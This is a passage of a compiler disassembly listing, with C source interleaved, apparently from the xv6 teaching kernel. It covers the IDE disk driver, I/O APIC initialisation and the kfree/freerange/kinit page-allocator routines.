80101fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101fc0 <ideinit>:
return 0;
}
void
ideinit(void)
{
80101fc0: 55 push %ebp
80101fc1: 89 e5 mov %esp,%ebp
80101fc3: 83 ec 10 sub $0x10,%esp
int i;
initlock(&idelock, "ide");
80101fc6: 68 26 71 10 80 push $0x80107126
80101fcb: 68 80 a5 10 80 push $0x8010a580
80101fd0: e8 3b 22 00 00 call 80104210 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
80101fd5: 58 pop %eax
80101fd6: a1 00 2d 11 80 mov 0x80112d00,%eax
80101fdb: 5a pop %edx
80101fdc: 83 e8 01 sub $0x1,%eax
80101fdf: 50 push %eax
80101fe0: 6a 0e push $0xe
80101fe2: e8 a9 02 00 00 call 80102290 <ioapicenable>
80101fe7: 83 c4 10 add $0x10,%esp
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101fea: ba f7 01 00 00 mov $0x1f7,%edx
80101fef: 90 nop
80101ff0: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101ff1: 83 e0 c0 and $0xffffffc0,%eax
80101ff4: 3c 40 cmp $0x40,%al
80101ff6: 75 f8 jne 80101ff0 <ideinit+0x30>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101ff8: ba f6 01 00 00 mov $0x1f6,%edx
80101ffd: b8 f0 ff ff ff mov $0xfffffff0,%eax
80102002: ee out %al,(%dx)
80102003: b9 e8 03 00 00 mov $0x3e8,%ecx
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102008: ba f7 01 00 00 mov $0x1f7,%edx
8010200d: eb 06 jmp 80102015 <ideinit+0x55>
8010200f: 90 nop
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
80102010: 83 e9 01 sub $0x1,%ecx
80102013: 74 0f je 80102024 <ideinit+0x64>
80102015: ec in (%dx),%al
if(inb(0x1f7) != 0){
80102016: 84 c0 test %al,%al
80102018: 74 f6 je 80102010 <ideinit+0x50>
havedisk1 = 1;
8010201a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102021: 00 00 00
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102024: ba f6 01 00 00 mov $0x1f6,%edx
80102029: b8 e0 ff ff ff mov $0xffffffe0,%eax
8010202e: ee out %al,(%dx)
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
}
8010202f: c9 leave
80102030: c3 ret
80102031: eb 0d jmp 80102040 <ideintr>
80102033: 90 nop
80102034: 90 nop
80102035: 90 nop
80102036: 90 nop
80102037: 90 nop
80102038: 90 nop
80102039: 90 nop
8010203a: 90 nop
8010203b: 90 nop
8010203c: 90 nop
8010203d: 90 nop
8010203e: 90 nop
8010203f: 90 nop
80102040 <ideintr>:
}
// Interrupt handler.
void
ideintr(void)
{
80102040: 55 push %ebp
80102041: 89 e5 mov %esp,%ebp
80102043: 57 push %edi
80102044: 56 push %esi
80102045: 53 push %ebx
80102046: 83 ec 18 sub $0x18,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102049: 68 80 a5 10 80 push $0x8010a580
8010204e: e8 1d 23 00 00 call 80104370 <acquire>
if((b = idequeue) == 0){
80102053: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
80102059: 83 c4 10 add $0x10,%esp
8010205c: 85 db test %ebx,%ebx
8010205e: 74 34 je 80102094 <ideintr+0x54>
release(&idelock);
return;
}
idequeue = b->qnext;
80102060: 8b 43 58 mov 0x58(%ebx),%eax
80102063: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102068: 8b 33 mov (%ebx),%esi
8010206a: f7 c6 04 00 00 00 test $0x4,%esi
80102070: 74 3e je 801020b0 <ideintr+0x70>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
80102072: 83 e6 fb and $0xfffffffb,%esi
wakeup(b);
80102075: 83 ec 0c sub $0xc,%esp
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
80102078: 83 ce 02 or $0x2,%esi
8010207b: 89 33 mov %esi,(%ebx)
wakeup(b);
8010207d: 53 push %ebx
8010207e: e8 5d 1e 00 00 call 80103ee0 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
80102083: a1 64 a5 10 80 mov 0x8010a564,%eax
80102088: 83 c4 10 add $0x10,%esp
8010208b: 85 c0 test %eax,%eax
8010208d: 74 05 je 80102094 <ideintr+0x54>
idestart(idequeue);
8010208f: e8 5c fe ff ff call 80101ef0 <idestart>
// First queued buffer is the active request.
acquire(&idelock);
if((b = idequeue) == 0){
release(&idelock);
80102094: 83 ec 0c sub $0xc,%esp
80102097: 68 80 a5 10 80 push $0x8010a580
8010209c: e8 7f 23 00 00 call 80104420 <release>
// Start disk on next buf in queue.
if(idequeue != 0)
idestart(idequeue);
release(&idelock);
}
801020a1: 8d 65 f4 lea -0xc(%ebp),%esp
801020a4: 5b pop %ebx
801020a5: 5e pop %esi
801020a6: 5f pop %edi
801020a7: 5d pop %ebp
801020a8: c3 ret
801020a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020b0: ba f7 01 00 00 mov $0x1f7,%edx
801020b5: 8d 76 00 lea 0x0(%esi),%esi
801020b8: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020b9: 89 c1 mov %eax,%ecx
801020bb: 83 e1 c0 and $0xffffffc0,%ecx
801020be: 80 f9 40 cmp $0x40,%cl
801020c1: 75 f5 jne 801020b8 <ideintr+0x78>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020c3: a8 21 test $0x21,%al
801020c5: 75 ab jne 80102072 <ideintr+0x32>
}
idequeue = b->qnext;
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
insl(0x1f0, b->data, BSIZE/4);
801020c7: 8d 7b 5c lea 0x5c(%ebx),%edi
}
static inline void
insl(int port, void *addr, int cnt)
{
asm volatile("cld; rep insl" :
801020ca: b9 80 00 00 00 mov $0x80,%ecx
801020cf: ba f0 01 00 00 mov $0x1f0,%edx
801020d4: fc cld
801020d5: f3 6d rep insl (%dx),%es:(%edi)
801020d7: 8b 33 mov (%ebx),%esi
801020d9: eb 97 jmp 80102072 <ideintr+0x32>
801020db: 90 nop
801020dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801020e0 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
801020e0: 55 push %ebp
801020e1: 89 e5 mov %esp,%ebp
801020e3: 53 push %ebx
801020e4: 83 ec 10 sub $0x10,%esp
801020e7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
801020ea: 8d 43 0c lea 0xc(%ebx),%eax
801020ed: 50 push %eax
801020ee: e8 cd 20 00 00 call 801041c0 <holdingsleep>
801020f3: 83 c4 10 add $0x10,%esp
801020f6: 85 c0 test %eax,%eax
801020f8: 0f 84 ad 00 00 00 je 801021ab <iderw+0xcb>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
801020fe: 8b 03 mov (%ebx),%eax
80102100: 83 e0 06 and $0x6,%eax
80102103: 83 f8 02 cmp $0x2,%eax
80102106: 0f 84 b9 00 00 00 je 801021c5 <iderw+0xe5>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010210c: 8b 53 04 mov 0x4(%ebx),%edx
8010210f: 85 d2 test %edx,%edx
80102111: 74 0d je 80102120 <iderw+0x40>
80102113: a1 60 a5 10 80 mov 0x8010a560,%eax
80102118: 85 c0 test %eax,%eax
8010211a: 0f 84 98 00 00 00 je 801021b8 <iderw+0xd8>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
80102120: 83 ec 0c sub $0xc,%esp
80102123: 68 80 a5 10 80 push $0x8010a580
80102128: e8 43 22 00 00 call 80104370 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010212d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx
80102133: 83 c4 10 add $0x10,%esp
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
80102136: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010213d: 85 d2 test %edx,%edx
8010213f: 75 09 jne 8010214a <iderw+0x6a>
80102141: eb 58 jmp 8010219b <iderw+0xbb>
80102143: 90 nop
80102144: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102148: 89 c2 mov %eax,%edx
8010214a: 8b 42 58 mov 0x58(%edx),%eax
8010214d: 85 c0 test %eax,%eax
8010214f: 75 f7 jne 80102148 <iderw+0x68>
80102151: 83 c2 58 add $0x58,%edx
;
*pp = b;
80102154: 89 1a mov %ebx,(%edx)
// Start disk if necessary.
if(idequeue == b)
80102156: 3b 1d 64 a5 10 80 cmp 0x8010a564,%ebx
8010215c: 74 44 je 801021a2 <iderw+0xc2>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010215e: 8b 03 mov (%ebx),%eax
80102160: 83 e0 06 and $0x6,%eax
80102163: 83 f8 02 cmp $0x2,%eax
80102166: 74 23 je 8010218b <iderw+0xab>
80102168: 90 nop
80102169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sleep(b, &idelock);
80102170: 83 ec 08 sub $0x8,%esp
80102173: 68 80 a5 10 80 push $0x8010a580
80102178: 53 push %ebx
80102179: e8 b2 1b 00 00 call 80103d30 <sleep>
// Start disk if necessary.
if(idequeue == b)
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010217e: 8b 03 mov (%ebx),%eax
80102180: 83 c4 10 add $0x10,%esp
80102183: 83 e0 06 and $0x6,%eax
80102186: 83 f8 02 cmp $0x2,%eax
80102189: 75 e5 jne 80102170 <iderw+0x90>
sleep(b, &idelock);
}
release(&idelock);
8010218b: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
80102192: 8b 5d fc mov -0x4(%ebp),%ebx
80102195: c9 leave
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
sleep(b, &idelock);
}
release(&idelock);
80102196: e9 85 22 00 00 jmp 80104420 <release>
acquire(&idelock); //DOC:acquire-lock
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010219b: ba 64 a5 10 80 mov $0x8010a564,%edx
801021a0: eb b2 jmp 80102154 <iderw+0x74>
;
*pp = b;
// Start disk if necessary.
if(idequeue == b)
idestart(b);
801021a2: 89 d8 mov %ebx,%eax
801021a4: e8 47 fd ff ff call 80101ef0 <idestart>
801021a9: eb b3 jmp 8010215e <iderw+0x7e>
iderw(struct buf *b)
{
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
801021ab: 83 ec 0c sub $0xc,%esp
801021ae: 68 2a 71 10 80 push $0x8010712a
801021b3: e8 b8 e1 ff ff call 80100370 <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
panic("iderw: ide disk 1 not present");
801021b8: 83 ec 0c sub $0xc,%esp
801021bb: 68 55 71 10 80 push $0x80107155
801021c0: e8 ab e1 ff ff call 80100370 <panic>
struct buf **pp;
if(!holdingsleep(&b->lock))
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
panic("iderw: nothing to do");
801021c5: 83 ec 0c sub $0xc,%esp
801021c8: 68 40 71 10 80 push $0x80107140
801021cd: e8 9e e1 ff ff call 80100370 <panic>
801021d2: 66 90 xchg %ax,%ax
801021d4: 66 90 xchg %ax,%ax
801021d6: 66 90 xchg %ax,%ax
801021d8: 66 90 xchg %ax,%ax
801021da: 66 90 xchg %ax,%ax
801021dc: 66 90 xchg %ax,%ax
801021de: 66 90 xchg %ax,%ax
801021e0 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
801021e0: 55 push %ebp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
801021e1: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634
801021e8: 00 c0 fe
ioapic->data = data;
}
void
ioapicinit(void)
{
801021eb: 89 e5 mov %esp,%ebp
801021ed: 56 push %esi
801021ee: 53 push %ebx
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
801021ef: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
801021f6: 00 00 00
return ioapic->data;
801021f9: 8b 15 34 26 11 80 mov 0x80112634,%edx
801021ff: 8b 72 10 mov 0x10(%edx),%esi
};
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
80102202: c7 02 00 00 00 00 movl $0x0,(%edx)
return ioapic->data;
80102208: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010220e: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx
ioapicinit(void)
{
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102215: 89 f0 mov %esi,%eax
80102217: c1 e8 10 shr $0x10,%eax
8010221a: 0f b6 f0 movzbl %al,%esi
static uint
ioapicread(int reg)
{
ioapic->reg = reg;
return ioapic->data;
8010221d: 8b 41 10 mov 0x10(%ecx),%eax
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
80102220: c1 e8 18 shr $0x18,%eax
80102223: 39 d0 cmp %edx,%eax
80102225: 74 16 je 8010223d <ioapicinit+0x5d>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102227: 83 ec 0c sub $0xc,%esp
8010222a: 68 74 71 10 80 push $0x80107174
8010222f: e8 2c e4 ff ff call 80100660 <cprintf>
80102234: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
8010223a: 83 c4 10 add $0x10,%esp
8010223d: 83 c6 21 add $0x21,%esi
ioapic->data = data;
}
void
ioapicinit(void)
{
80102240: ba 10 00 00 00 mov $0x10,%edx
80102245: b8 20 00 00 00 mov $0x20,%eax
8010224a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102250: 89 11 mov %edx,(%ecx)
ioapic->data = data;
80102252: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102258: 89 c3 mov %eax,%ebx
8010225a: 81 cb 00 00 01 00 or $0x10000,%ebx
80102260: 83 c0 01 add $0x1,%eax
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
80102263: 89 59 10 mov %ebx,0x10(%ecx)
80102266: 8d 5a 01 lea 0x1(%edx),%ebx
80102269: 83 c2 02 add $0x2,%edx
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010226c: 39 f0 cmp %esi,%eax
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
8010226e: 89 19 mov %ebx,(%ecx)
ioapic->data = data;
80102270: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
80102276: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
if(id != ioapicid)
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
8010227d: 75 d1 jne 80102250 <ioapicinit+0x70>
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
8010227f: 8d 65 f8 lea -0x8(%ebp),%esp
80102282: 5b pop %ebx
80102283: 5e pop %esi
80102284: 5d pop %ebp
80102285: c3 ret
80102286: 8d 76 00 lea 0x0(%esi),%esi
80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102290 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
80102290: 55 push %ebp
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
80102291: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
}
}
void
ioapicenable(int irq, int cpunum)
{
80102297: 89 e5 mov %esp,%ebp
80102299: 8b 45 08 mov 0x8(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
8010229c: 8d 50 20 lea 0x20(%eax),%edx
8010229f: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022a3: 89 01 mov %eax,(%ecx)
ioapic->data = data;
801022a5: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022ab: 83 c0 01 add $0x1,%eax
ioapic->data = data;
801022ae: 89 51 10 mov %edx,0x10(%ecx)
{
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022b1: 8b 55 0c mov 0xc(%ebp),%edx
}
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
801022b4: 89 01 mov %eax,(%ecx)
ioapic->data = data;
801022b6: a1 34 26 11 80 mov 0x80112634,%eax
{
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022bb: c1 e2 18 shl $0x18,%edx
static void
ioapicwrite(int reg, uint data)
{
ioapic->reg = reg;
ioapic->data = data;
801022be: 89 50 10 mov %edx,0x10(%eax)
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
}
801022c1: 5d pop %ebp
801022c2: c3 ret
801022c3: 66 90 xchg %ax,%ax
801022c5: 66 90 xchg %ax,%ax
801022c7: 66 90 xchg %ax,%ax
801022c9: 66 90 xchg %ax,%ax
801022cb: 66 90 xchg %ax,%ax
801022cd: 66 90 xchg %ax,%ax
801022cf: 90 nop
801022d0 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
801022d0: 55 push %ebp
801022d1: 89 e5 mov %esp,%ebp
801022d3: 53 push %ebx
801022d4: 83 ec 04 sub $0x4,%esp
801022d7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
801022da: f7 c3 ff 0f 00 00 test $0xfff,%ebx
801022e0: 75 70 jne 80102352 <kfree+0x82>
801022e2: 81 fb a8 55 11 80 cmp $0x801155a8,%ebx
801022e8: 72 68 jb 80102352 <kfree+0x82>
801022ea: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801022f0: 3d ff ff ff 0d cmp $0xdffffff,%eax
801022f5: 77 5b ja 80102352 <kfree+0x82>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
801022f7: 83 ec 04 sub $0x4,%esp
801022fa: 68 00 10 00 00 push $0x1000
801022ff: 6a 01 push $0x1
80102301: 53 push %ebx
80102302: e8 69 21 00 00 call 80104470 <memset>
if(kmem.use_lock)
80102307: 8b 15 74 26 11 80 mov 0x80112674,%edx
8010230d: 83 c4 10 add $0x10,%esp
80102310: 85 d2 test %edx,%edx
80102312: 75 2c jne 80102340 <kfree+0x70>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102314: a1 78 26 11 80 mov 0x80112678,%eax
80102319: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
8010231b: a1 74 26 11 80 mov 0x80112674,%eax
if(kmem.use_lock)
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
80102320: 89 1d 78 26 11 80 mov %ebx,0x80112678
if(kmem.use_lock)
80102326: 85 c0 test %eax,%eax
80102328: 75 06 jne 80102330 <kfree+0x60>
release(&kmem.lock);
}
8010232a: 8b 5d fc mov -0x4(%ebp),%ebx
8010232d: c9 leave
8010232e: c3 ret
8010232f: 90 nop
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
80102330: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp)
}
80102337: 8b 5d fc mov -0x4(%ebp),%ebx
8010233a: c9 leave
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
kmem.freelist = r;
if(kmem.use_lock)
release(&kmem.lock);
8010233b: e9 e0 20 00 00 jmp 80104420 <release>
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
if(kmem.use_lock)
acquire(&kmem.lock);
80102340: 83 ec 0c sub $0xc,%esp
80102343: 68 40 26 11 80 push $0x80112640
80102348: e8 23 20 00 00 call 80104370 <acquire>
8010234d: 83 c4 10 add $0x10,%esp
80102350: eb c2 jmp 80102314 <kfree+0x44>
kfree(char *v)
{
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
panic("kfree");
80102352: 83 ec 0c sub $0xc,%esp
80102355: 68 a6 71 10 80 push $0x801071a6
8010235a: e8 11 e0 ff ff call 80100370 <panic>
8010235f: 90 nop
80102360 <freerange>:
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
80102360: 55 push %ebp
80102361: 89 e5 mov %esp,%ebp
80102363: 56 push %esi
80102364: 53 push %ebx
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102365: 8b 45 08 mov 0x8(%ebp),%eax
kmem.use_lock = 1;
}
void
freerange(void *vstart, void *vend)
{
80102368: 8b 75 0c mov 0xc(%ebp),%esi
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010236b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80102371: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102377: 81 c3 00 10 00 00 add $0x1000,%ebx
8010237d: 39 de cmp %ebx,%esi
8010237f: 72 23 jb 801023a4 <freerange+0x44>
80102381: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
80102388: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
8010238e: 83 ec 0c sub $0xc,%esp
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102391: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
80102397: 50 push %eax
80102398: e8 33 ff ff ff call 801022d0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010239d: 83 c4 10 add $0x10,%esp
801023a0: 39 f3 cmp %esi,%ebx
801023a2: 76 e4 jbe 80102388 <freerange+0x28>
kfree(p);
}
801023a4: 8d 65 f8 lea -0x8(%ebp),%esp
801023a7: 5b pop %ebx
801023a8: 5e pop %esi
801023a9: 5d pop %ebp
801023aa: c3 ret
801023ab: 90 nop
801023ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801023b0 <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801023b0: 55 push %ebp
801023b1: 89 e5 mov %esp,%ebp
801023b3: 56 push %esi
801023b4: 53 push %ebx
801023b5: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
801023b8: 83 ec 08 sub $0x8,%esp
801023bb: 68 ac 71 10 80 push $0x801071ac
801023c0: 68 40 26 11 80 push $0x80112640
801023c5: e8 46 1e 00 00 call 80104210 <initlock>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023ca: 8b 45 08 mov 0x8(%ebp),%eax
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023cd: 83 c4 10 add $0x10,%esp
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
801023d0: c7 05 74 26 11 80 00 movl $0x0,0x80112674
801023d7: 00 00 00
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
801023da: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
801023e0: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023e6: 81 c3 00 10 00 00 add $0x1000,%ebx
801023ec: 39 de cmp %ebx,%esi
801023ee: 72 1c jb 8010240c <kinit1+0x5c>
kfree(p);
801023f0: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
801023f6: 83 ec 0c sub $0xc,%esp
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023f9: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
801023ff: 50 push %eax
80102400: e8 cb fe ff ff call 801022d0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102405: 83 c4 10 add $0x10,%esp
80102408: 39 de cmp %ebx,%esi
8010240a: 73 e4 jae 801023f0 <kinit1+0x40>
kinit1(void *vstart, void *vend)
{
initlock(&kmem.lock, "kmem");
kmem.use_lock = 0;
freerange(vstart, vend);
}
8010240c: 8d 65 f8 lea -0x8(%ebp),%esp
8010240f: 5b pop %ebx
80102410: 5e pop %esi
80102411: 5d pop %ebp
80102412: c3 ret
80102413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102420 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
80102420: 55 push %ebp
80102421: 89 e5 mov %esp,%ebp
80102423: 56 push %esi
80102424: 53 push %ebx
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102425: 8b 45 08 mov 0x8(%ebp),%eax
freerange(vstart, vend);
}
void
kinit2(void *vstart, void *vend)
{
80102428: 8b 75 0c mov 0xc(%ebp),%esi
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
8010242b: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
80102431: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102437: 81 c3 00 10 00 00 add $0x1000,%ebx
8010243d: 39 de cmp %ebx,%esi
8010243f: 72 23 jb 80102464 <kinit2+0x44>
80102441: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
80102448: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
8010244e: 83 ec 0c sub $0xc,%esp
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102451: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
80102457: 50 push %eax
80102458: e8 73 fe ff ff call 801022d0 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
